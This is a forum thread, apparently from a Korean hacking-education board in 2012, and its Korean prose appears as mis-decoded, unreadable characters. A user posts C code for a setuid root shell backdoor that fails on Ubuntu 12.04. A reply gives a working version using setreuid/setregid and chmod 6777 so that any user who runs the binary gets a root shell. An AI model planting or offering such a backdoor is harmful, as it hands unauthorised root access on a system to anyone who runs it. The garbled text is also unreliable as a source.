¸®´ª½º

 3916, 1/196 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ¸®´ª½ºÆë±Ï
   ¿ìºÐÅõ¿¡¼­ ¹éµµ¾î°¡ ¾Èµ¹¾Æ°¡³ª¿ä?

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=4219 [º¹»ç]


#include <stdio.h>

int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

ÀÌ·¸°Ô ÇÏ°í ½ÇÇàÀ» ½ÃÄ״µ¥,(¹°·Ð °ø°Ý´ë»óÀº Á¦ ÄÄÇ»ÅÍÀÔ´Ï´Ù. Á¦°¡ ·çÆ®°èÁ¤À¸·Î ÇØ´ç ¼Ò½º¸¦ Â¥°í ÄÄÆÄÀÏÇÑ µÚ, chmod 777·Î ¹Ù²ãÁá½À´Ï´Ù.)
½©ÀÌ ¾È¹Ù²î´õ±º¿ä.

µð¹ö±ë ÇÏ·Á°í printf ¸î°³ ¹Ú¾ÆºÃ´Âµ¥, setgid±îÁø Àß µÇ´Ù°¡ ½Ã½ºÅÛÇÔ¼ö¸¦ ¾Æ¿¹ ½ÇÇàÀ» ¾ÈÇØ¿ä. µð¹ö°Å·Î µð½º¾î¼Àºí ÇØºÁµµ µüÈ÷ ¹®Á¦´Â ¾ø´Âµ¥, µð¹ö°Å¿¡¼­ ºê·¹ÀÌÅ© ÇÑ ÁÙ¿¡ Çϳª¾¿ ¹Ú°í °¨½Ã¸¦ ÇØµµ, system("/bin/bash"); ¸¦ ¹«½ÃÇϰí Áö³ª°¡³×¿ä.

¿ìºÐÅõ 12.04LTS Àε¥, º¸¾È»ó ¸·Èù°Ç°¡¿ä?

  Hit : 4388     Date : 2012/10/13 07:00



    
cd80 systemÇÔ¼ö°¡ ruid rgid¸¦ °¡Á®¿À±â¶§¹®¿¡
setuid¿Í setgid·Î ¼³Á¤ÇÑ ·çÆ® uid gid·Î´Â ·çÆ®±ÇÇÑÀÇ ½©À» ½ÇÇàÇÒ ¼ö ¾ø½À´Ï´Ù

¼Ò½º¸¦


#include <stdio.h>

int main() {
setreuid(0, 0);
setregid(0, 0);
system("/bin/bash");
}
¿Í °°ÀÌ ¹Ù²Ù½ÅÈÄ ÄÄÆÄÀÏ ÇϽÅÈÄ
chmod 777ÀÌ ¾Æ´Ñ
chmod 6777 ·Î ±ÇÇѼ³Á¤ÇØÁÖ½Ã¸é ¿øÇϽô´ë·Î ÇÏ½Ç ¼ö ÀÖÀ¸½Ç°Í °°½À´Ï´Ù



p.s. ±×¸®°í ¾Æ¸¶ /bin/bash´Â ½ÇÇàµÈ°Å°°½À´Ï´Ù
ps ¸í·É¾î·Î È®ÀÎÇØº¸¼¼¿ä
2012/10/13  
ISHack setuid¶ó¸é 4777ÀÌ ¾Æ´Ò±î¿ä? 2012/10/14  
cd80 ISHack//
ÀÛ¼ºÀÚ´ÔÀÌ ¼Ò½º¿¡¼­ ¿øÇÏ½Ã´Â°Ô uid¿Í gid ¸ðµÎ ¹Ù²Ù´Â°Å¶ó setuid¿Í setgid¸¦ °É¾îÁà¾ß Çϴµ¥
setuid´Â 4°í setgid´Â 2¶ó µÑÀ» ´õÇÑ 6ÀÌ setuid + setgidÀÔ´Ï´Ù
2012/10/15  
ISHack cd80//
¾ÆÇÏ. ´Ù½ÃÀо´Ï À¯Àú¿Í ±×·ìÀ» µ¿½Ã¿¡ »ç¿ëÇØ¾ßÇϴ±º¿ä!
2012/10/16